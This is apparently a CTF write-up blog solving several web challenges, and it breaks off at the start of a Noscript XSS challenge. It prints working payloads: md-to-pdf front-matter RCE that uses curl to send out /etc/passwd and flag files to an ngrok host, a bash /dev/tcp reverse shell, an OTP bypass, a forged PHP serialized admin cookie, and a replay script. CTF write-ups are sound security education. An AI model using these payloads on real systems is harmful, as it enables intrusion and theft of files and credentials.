Now Loading ...
-
Web: PDF Generator
Description
There’s a problem with rendering the generated pdf, You need to execute /flag to be able to investigate in that issue.
Solution
when we start we see a page with Cannot GET /, so i tried to go to /robots.txt and i found
User-agent: *
Disallow: /src.zip
/src.zip contains the source code, now we can begin.
routes.js file contains
const express = require('express');
const { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession } = require('./utils');
const OTPAuth = require('otpauth');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const router = express.Router();
const secret = new OTPAuth.Secret();
const totp = new OTPAuth.TOTP({
secret: secret,
label: 'MarkdownToPDF',
algorithm: 'SHA1',
digits: 6,
period: 30
});
const sessions = {};
const requestCounts = {};
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
// Serve the OTP input form
router.get('/otp', (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'otp.html'));
});
// Validate the OTP and set session cookie
router.post('/validate-otp', rateLimit(requestCounts), (req, res) => {
try {
const userOTP = req.body.otp;
const userIP = req.ip;
if (totp.validate({ token: userOTP, window: 1 })) {
const randomValue = crypto.randomBytes(16).toString('hex');
const sessionToken = encrypt(`${userIP}:${randomValue}:${userOTP}`, key, iv);
const expiry = Date.now() + 5 * 60 * 1000; // 5 minutes from now
sessions[sessionToken] = { expiry };
res.cookie('session', sessionToken, { httpOnly: true });
res.redirect('/convert');
} else {
res.redirect('/otp?invalid=true');
}
} catch (error) {
console.error('Error validating OTP:', error);
res.status(500).send('Server error.');
}
});
// Serve the markdown input form
router.get('/convert', requireSession(sessions), (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'convert.html'));
});
// Handle form submission and convert markdown to PDF
router.post('/convert', requireSession(sessions), rateLimit(requestCounts), async (req, res) => {
try {
const markdownContent = req.body.markdown;
if (!markdownContent || typeof markdownContent !== 'string' || markdownContent.trim() === '') {
return res.status(400).send('Invalid markdown content.');
}
const outputFilePath = path.join(__dirname, 'output.pdf');
const pdf = await mdToPdfAsync({ content: markdownContent });
if (pdf && pdf.content) {
fs.writeFileSync(outputFilePath, pdf.content);
res.download(outputFilePath, 'converted.pdf', (err) => {
if (err) {
console.error('Error downloading the file:', err);
}
// Clean up the file after download
fs.unlinkSync(outputFilePath);
});
} else {
throw new Error('Failed to generate PDF.');
}
} catch (error) {
console.error('Error converting markdown to PDF:', error);
res.status(500).send('Server error.');
}
});
// Serve robots.txt
router.get('/robots.txt', (req, res) => {
res.type('text/plain');
res.sendFile(path.join(__dirname, 'public', 'robots.txt'));
});
// Serve src.zip
router.get('/src.zip', (req, res) => {
const file = path.join(__dirname, 'public', 'src.zip');
res.download(file);
});
module.exports = router;
After examining this code you will find that you can visit /otp but you can’t visit /convert as it needs an established session and this session is created after submitting the right OTP.
There’s also /utils.js contains
const crypto = require('crypto');
const { mdToPdf } = require('md-to-pdf');
const encrypt = (text, key, iv) => {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
return encrypted;
};
const decrypt = (encrypted, key, iv) => {
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
};
const mdToPdfAsync = async (markdown) => {
return await mdToPdf({ content: markdown }).catch(console.error);
};
const rateLimit = (requestCounts) => (req, res, next) => {
try {
const ip = req.ip;
if (!requestCounts[ip]) {
requestCounts[ip] = {
count: 0,
resetTime: Date.now() + 100000
};
}
const currentRequestCount = requestCounts[ip].count;
const resetTime = requestCounts[ip].resetTime;
if (Date.now() > resetTime) {
requestCounts[ip].count = 0;
requestCounts[ip].resetTime = Date.now() + 100000;
}
requestCounts[ip].count++;
if (currentRequestCount >= 50) {
requestCounts[ip].resetTime = Date.now() + 300000;
console.log(`Rate limit exceeded for IP ${ip}. Access blocked for 300 seconds.`);
res.sendFile(path.join(__dirname, 'views', 'rate_limit.html'), {
timeRemaining: Math.ceil((resetTime - Date.now()) / 1000)
});
} else {
next();
}
} catch (error) {
console.error('Error in rate limit middleware:', error);
res.status(500).send('Server error.');
}
};
const requireSession = (sessions) => (req, res, next) => {
try {
const sessionToken = req.cookies.session;
if (sessionToken) {
const session = sessions[sessionToken];
if (session && session.expiry > Date.now()) {
return next();
} else {
delete sessions[sessionToken];
}
}
res.redirect('/otp');
} catch (error) {
console.error('Error in session middleware:', error);
res.status(500).send('Server error.');
}
};
module.exports = { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession };
Anyway let’s visit /otp endpoint which is very simple
After many attempts and reading the source code i noticed that const OTPAuth = require('otpauth'); and searched about this package and i found that the package itself is vulnerable.
You can that see here.
The totp.validate() function which is used in our code is vulnerable and may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens.
Very nice after this info i tried to submit a single digit from 0 to 9 and one of them logged me in successfully.
After logging in i got redirected to /convert
So this page takes and md input and makes it PDF.
When I try to supply any input, i get server error but the function works properly underground (the error is in rendering only), so It’s a blind challange then ummmmmmmmmmmm.
After attempts i noticed also that the sorc code has const { mdToPdf } = require('md-to-pdf');
Guess What !!!
Yeah very new way !!
This package is also vulnerable xDDD
You can find that here
From the article i found that the payload i will use is
---js
((require("child_process")).execSync("id > /tmp/RCE.txt"))
---RCE
But the response isn’t rendered so we will try another way.
The way i think here is to execute a command that sends any request to an ip i have and if i got the response then the RCE works.
On my local linux machine i started listening on port 4444 (the port at which i will wait for the request), but note that this port is local so the target can reach me.
As a solution i started ngrok using ngrok tcp 4444 which works as a forwared in this situation.
This command means that the public ip supplied from ngrok will forward the requests it gets to my localhost on port 4444.
I got IP:0.tcp.eu.ngrok.io port:17552 from ngrok, so any request to 0.tcp.eu.ngrok.io:17552 will be forward to localhost:4444.
when i try to use the payload
---js
((require("child_process")).execSync('curl http://0.tcp.eu.ngrok.io:17552'));
---RCE
i get
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59622
GET / HTTP/1.1
Host: e874-156-160-149-56.ngrok-free.app
User-Agent: curl/7.88.1
Accept: */*
X-Forwarded-For: 46.101.193.189
X-Forwarded-Host: e874-156-160-149-56.ngrok-free.app
X-Forwarded-Proto: https
Accept-Encoding: gzip
So there’s RCE and works well, I tried to get a reverse shell but i couldn’t during the ctf, so i tried LFI.
After attempts i used this payload
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/etc/passwd" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and i got the content of /etc/passwd
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35736
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 972
Content-Type: application/x-www-form-urlencoded
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
nodez:x:1001:1001::/home/nodez:/bin/bash
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
I could read /flag but with small modification because it was an executable file with exec permissions only
---js
((require("child_process")).execSync('curl -X POST --data-binary "$(/flag)" http://0.tcp.eu.ngrok.io:17552'));
---RCE
I got
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36472
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Congratulations, this is the flag location: /tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt
Now i can read the flag using
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and congratz you got the flag
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53184
POST /? HTTP/1.1
Host: 5.tcp.eu.ngrok.io:14819
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
EGCERT{3e20ba_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
Beyond flag
The other way which is getting the reverse shell is easier i got it but before the ctf using the command
---js
((require("child_process")).execSync('bash -c "bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/17552 0>&1"'))
---RCE
Then on the listening port i got a reverse shell and did that
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44750
nodez@8372928b8e00:/usr/src/app$ /flag
/flag
Congratulations, this is the flag location: /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
nodez@8372928b8e00:/usr/src/app$ cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
EGCERT{3c5330_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
I also checked the permissions of /flag and the real flag to verify the reason why i couldn’t read /flag like the real flag or /etc/passwd and found this
nodez@8372928b8e00:/usr/src/app$ ls -la /
ls -la /
total 112
drwxr-xr-x 1 root root 4096 Jun 26 07:08 .
drwxr-xr-x 1 root root 4096 Jun 26 07:08 ..
-rwxr-xr-x 1 root root 0 Jun 26 07:08 .dockerenv
lrwxrwxrwx 1 root root 7 Jun 12 00:00 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jan 28 21:20 boot
drwxr-xr-x 5 root root 360 Jun 26 07:08 dev
drwxr-xr-x 1 root root 4096 Jun 26 07:08 etc
---x--x--x 1 root root 17136 Jun 23 11:51 flag
drwxr-xr-x 1 root root 4096 Jun 22 01:20 home
lrwxrwxrwx 1 root root 7 Jun 12 00:00 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jun 12 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Jun 12 00:00 media
drwxr-xr-x 2 root root 4096 Jun 12 00:00 mnt
drwxr-xr-x 1 root root 4096 Jun 21 01:03 opt
dr-xr-xr-x 214 root root 0 Jun 26 07:08 proc
drwx------ 1 root root 4096 Jun 23 11:51 root
drwxr-xr-x 1 root root 4096 Jun 13 03:40 run
lrwxrwxrwx 1 root root 8 Jun 12 00:00 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jun 12 00:00 srv
dr-xr-xr-x 13 root root 0 Jun 26 07:08 sys
drwxrwx-wt 1 root root 20480 Jun 27 18:29 tmp
drwxr-xr-x 1 root root 4096 Jun 12 00:00 usr
drwxr-xr-x 1 root root 4096 Jun 12 00:00 var
nodez@8372928b8e00:/tmp$ ls -la /tmp/51eb18c330994e86115669c71e960ecd
ls -la /tmp/51eb18c330994e86115669c71e960ecd
total 28
drwx------ 2 nodez nodez 4096 Jun 27 18:30 .
drwxrwx-wt 1 root root 20480 Jun 27 18:30 ..
-rw-r--r-- 1 nodez nodez 52 Jun 27 18:30 flag_QXIZVN.txt
the /flag file has only exec permissions unlike the flag text file and /etc/passwd which are readable and don’t have exec permissions
I wish the write up was useful
Thanks for reading ^^
-
Web: Hidden In Plain Sight
Solution
when we start we see a simple login page
When i go to /robots.txt i found this
User-agent: *
Disallow: /s3cr3t_b4ckup
when you go to /s3cr3t_b4ckup you will be able to download the source code
the code config.php whose content is
<?php
$valid_username = 'guest';
$valid_password = 'guest@123456';
?>
This is very good i used this credential to login
we have also login.php which contains
<?php
include("config.php");
class User {
public $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === $valid_username && $password === $valid_password) {
$user= new User($username, $password);
$cookie_value = base64_encode(serialize($user));
setcookie('login', $cookie_value, time() + 3600, '/');
header('Location: profile.php');
exit();
} else {
$error_message = 'Invalid username or password.';
}
}
?>
The interesting info here that the cookie is formed by calculating base64 of the serialized object of the logged in user.
so if we decode out current cookie it becomes O:4:"User":2:{s:8:"username";s:5:"guest";s:14:"Userpassword";s:12:"guest@123456";}
It’s corresponding to a user object with the credential we used.
for more understanding of how the php serialized object created here
in the src code there’s also profile.php which contains
<?php
include("flag.php");
include("config.php");
include("user.php");
if (isset($_COOKIE['login'])) {
$user = unserialize(base64_decode($_COOKIE['login']));
if ($user instanceof User) {
if ($user->is_admin()) {
$welcome_message= "Welcome, admin! <br> $flag";
} else {
$welcome_message= 'Hello, ' . htmlspecialchars($user->username);
}
}
else {
header('Location: index.php');
exit();
}
}
else {
header('Location: index.php');
exit();
}
?>
from this code we see that the flag will appear if the logged in user is instance of user and is_admin() returns True
This function is tested on the cookie after decoding and unserializing the cookie (returning it to object).
The last file in src code is user.php whose content is
<?php
class User {
public $username;
private $isAdmin = false;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function getPassword() {
return $this->password;
}
public function getUsername() {
return $this->username;
}
public function is_admin() {
return $this->isAdmin;
}
}
?>
we see that is_admin() returns True if isAdmin attribute equals True.
So our idea here is updating the cookie by adding isAdmin attribute and setting it to True.
Note the validation to render the flag is done in isAdmin only, so we don’t need the username, etc … (including them isn’t a problem but i will ignore them xD)
So the serialized object here became O:4:"User":1:{s:7:"isAdmin";b:1;}
digging the serialized object
O: object
4: object name length (needed for parsing)
User: object name
1: number of object attributes
s: string
7: string's name length
isAdmin: string's name
b: boolean
1: true
encode it and add it in the browser cookie or burp and you will get the flag
Congratzzzz
-
Web: pow (easy)
Description
compute hash to get your flag.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
The checking works as a counter and works according to this js script
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) {
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();
When the counter reaches a number such that (number & 0xFFFFFF00) === 0
The progress increases by one and also this request will be caught by burp
and when we resend the same request the progress increase as we caught one of the desired numbers
we can also make the array contains the same element multiple times and the progress will increase depending on the occurance of the number, but the array had limit about 50000 after that we get error invalid body
Note that in case of too many requests we get Rate limit reached and status code 429 in this case we should wait.
Let’s make a python script that sends the same request 1000000 times to complete the progress and get the flag
import requests
import json
import logging
import time
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler("pow_script.log"),
logging.StreamHandler()
]
)
# Constants
URL = "https://web-pow-lz56g6.wanictf.org/api/pow"
COOKIE = "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJjNWRiNjU1MC1lNTNlLTRiNjUtYTM3NC05MDUzNjk0YmY2YzgifQ.wOrQhP5rjdXj4VsR1IqBe-HqX3aRXYRiNS_Tt2Y05eA"
# Create the payload
payload = ["82738388"] * 50000 # Max i was able to send without getting the error invalid body, must be an array of strings
# Headers
headers = {
"Host": "web-pow-lz56g6.wanictf.org",
"Cookie": COOKIE,
"Sec-Ch-Ua": '"Chromium";v="15", "Not.A/Brand";v="24"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Priority": "u=1, i"
}
def send_data():
response = requests.post(URL, headers=headers, data=json.dumps(payload))
return response
def main():
while True:
try:
response = send_data()
if response.status_code == 200:
logging.info(f"Data sent successfully. Server response: {response.text}")
elif response.status_code == 429:
logging.warning("Rate limit reached. Waiting for 30 seconds.")
time.sleep(30) # Wait for 30 seconds before retrying
else:
logging.error(f"Error sending data: {response.status_code} - {response.text}")
except Exception as e:
logging.error(f"Exception occurred: {str(e)}")
if __name__ == "__main__":
main()
and here is the output
2024-06-23 12:27:29,911 - INFO - Data sent successfully. Server response: progress: 50003 / 1000000
2024-06-23 12:27:33,215 - INFO - Data sent successfully. Server response: progress: 100003 / 1000000
2024-06-23 12:27:44,163 - INFO - Data sent successfully. Server response: progress: 150003 / 1000000
2024-06-23 12:27:47,618 - INFO - Data sent successfully. Server response: progress: 200003 / 1000000
2024-06-23 12:27:54,285 - INFO - Data sent successfully. Server response: progress: 250003 / 1000000
2024-06-23 12:28:01,104 - INFO - Data sent successfully. Server response: progress: 300003 / 1000000
2024-06-23 12:28:06,494 - INFO - Data sent successfully. Server response: progress: 350003 / 1000000
2024-06-23 12:28:10,626 - INFO - Data sent successfully. Server response: progress: 400003 / 1000000
2024-06-23 12:28:20,049 - INFO - Data sent successfully. Server response: progress: 450003 / 1000000
2024-06-23 12:28:26,677 - INFO - Data sent successfully. Server response: progress: 500003 / 1000000
2024-06-23 12:28:33,457 - INFO - Data sent successfully. Server response: progress: 550003 / 1000000
2024-06-23 12:28:38,442 - INFO - Data sent successfully. Server response: progress: 600003 / 1000000
2024-06-23 12:28:46,195 - INFO - Data sent successfully. Server response: progress: 650003 / 1000000
2024-06-23 12:28:52,165 - INFO - Data sent successfully. Server response: progress: 700003 / 1000000
2024-06-23 12:29:00,487 - INFO - Data sent successfully. Server response: progress: 750003 / 1000000
2024-06-23 12:29:05,970 - INFO - Data sent successfully. Server response: progress: 800003 / 1000000
2024-06-23 12:29:10,849 - INFO - Data sent successfully. Server response: progress: 850003 / 1000000
2024-06-23 12:29:16,914 - INFO - Data sent successfully. Server response: progress: 900003 / 1000000
2024-06-23 12:29:22,720 - INFO - Data sent successfully. Server response: progress: 950003 / 1000000
2024-06-23 12:29:24,469 - INFO - Data sent successfully. Server response: FLAG{N0nCE_reusE_i$_FUn}
Congratzzzzzzzzzzzzz
-
Web: One Day One Letter (normal)
Description
Everything comes to those who wait.
Flag Format: FLAG{…}
Solution
in This challange we have Time server and content server
The time server
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())-60*60*24).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
The time server generates the current timestamp and signs with specific ECC key
The conent server
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
try:
nbytes = int(self.headers.get('content-length'))
body = json.loads(self.rfile.read(nbytes).decode('utf-8'))
timestamp = body['timestamp'].encode('utf-8')
signature = bytes.fromhex(body['signature'])
timeserver = body['timeserver']
pubkey = get_pubkey_of_timeserver(timeserver)
h = SHA256.new(timestamp)
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(h, signature)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
dt = datetime.fromtimestamp(int(timestamp))
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8'))
self.requestline
except Exception:
self.send_response(HTTPStatus.UNAUTHORIZED)
self.end_headers()
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()
In the content server when we post the timestamp, signature and time server then it sends request to the timeserver to /pubkey endpoint to get the public key and then it verifies the signature using this key
So u don’t need to think about the encrpytion as the content server does its magic alone u just sent him the time server which you will control in the json and he will ask the time server for the key without any problems
Steps:
run the time server locally
run ngroc using ngroc http 5001
we used ngroc because the content server can’t see our local time server so ngroc works as port forwarder in the middle and we used port 5001 as it’s the port we use in the time server and http because it supports https
and we need https because the content server has this line req = Request(urljoin('https://' + timeserver, 'pubkey')) and we see that it uses https with the time server
you can send get request to get specific timestamp and the signature
In the content server we POST the timestamp and signature we got and also the time server will be the ngroc IP as it’s our new time server and it works !!
we can now get the whole flag as we control the time server by adding 606024 to the timestamp which equals one day in seconds
repeat this until u get the flag: FLAG{lyingthetime}
Congratzzzzz
-
Web: Noscript (normal)
Description
Ignite it to steal the cookie!
Flag Format: FLAG{…}
Solution
We have the source code of this challange
This is the main
package main
import (
"context"
"fmt"
"html/template"
"net/http"
"os"
"regexp"
"sync"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"github.com/redis/go-redis/v9"
)
type InMemoryDB struct {
data map[string][2]string
mu sync.RWMutex
}
func NewInMemoryDB() *InMemoryDB {
return &InMemoryDB{
data: make(map[string][2]string),
}
}
func (db *InMemoryDB) Set(key, value1, value2 string) {
db.mu.Lock()
defer db.mu.Unlock()
db.data[key] = [2]string{value1, value2}
}
func (db *InMemoryDB) Get(key string) ([2]string, bool) {
db.mu.RLock()
defer db.mu.RUnlock()
vals, exists := db.data[key]
return vals, exists
}
func (db *InMemoryDB) Delete(key string) {
db.mu.Lock()
defer db.mu.Unlock()
delete(db.data, key)
}
func main() {
ctx := context.Background()
db := NewInMemoryDB()
redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT"))
redisClient := redis.NewClient(&redis.Options{
Addr: redisAddr,
})
r := gin.Default()
r.LoadHTMLGlob("templates/*")
// Home page
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"title": "Noscript!",
})
})
// Sign in
r.POST("/signin", func(c *gin.Context) {
id := uuid.New().String()
db.Set(id, "test user", "test profile")
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
})
// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Modify user profiles
r.POST("/user/:id/", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if _, ok := db.Get(id); ok {
username := c.PostForm("username")
profile := c.PostForm("profile")
db.Delete(id)
db.Set(id, username, profile)
if _, ok := db.Get(id); ok {
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Report API
r.POST("/report", func(c *gin.Context) {
url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(url) {
if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
_, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
} else {
_, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
}
})
if err := r.Run(); err != nil {
panic(err)
}
}
It has many functionalities
POST /signin will signin for us a new user and it will generate its id directly then forward us to /user/id
GET /user/:id It’s like user page contains data like username & profile (content security policy applied here)
POST /user/:id Here we can modify the username and the profile of the user
GET /username/:id It’s like user page contains data like username & profile (no content security policy here)
POST /report It accepts url parameter which is /user/:id and there’s a crawler within the source code indicating that after reporting the /user/:id is fetched by the bot
The code of the crawler
const { chromium } = require("playwright");
const Redis = require("ioredis");
const connection = new Redis({
host: process.env.REDIS_HOST,
port: process.env.REDIS_PORT,
});
const APP_URL = process.env.APP_URL; // application URL
const HOST = process.env.HOST; // HOST
const FLAG = process.env.FLAG; // FLAG
const crawl = async (path) => {
const browser = await chromium.launch();
const page = await browser.newPage();
const cookie = [
{
name: "flag",
value: FLAG,
domain: HOST,
path: "/",
expires: Date.now() / 1000 + 100000,
},
];
page.context().addCookies(cookie);
try {
await page.goto(APP_URL + path, {
waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", err.message);
} finally {
await browser.close();
console.log("crawl", "browser closed");
}
};
(async () => {
while (true) {
console.log(
"[*] waiting new url",
await connection.get("queued_count"),
await connection.get("proceeded_count"),
);
await connection
.blpop("url", 0)
.then((v) => {
const path = v[1];
console.log("crawl", path);
return crawl(path);
})
.then(() => {
console.log("crawl", "finished");
return connection.incr("proceeded_count");
})
.catch((e) => {
console.log("crawl", e);
});
}
})();
let’s see the site now
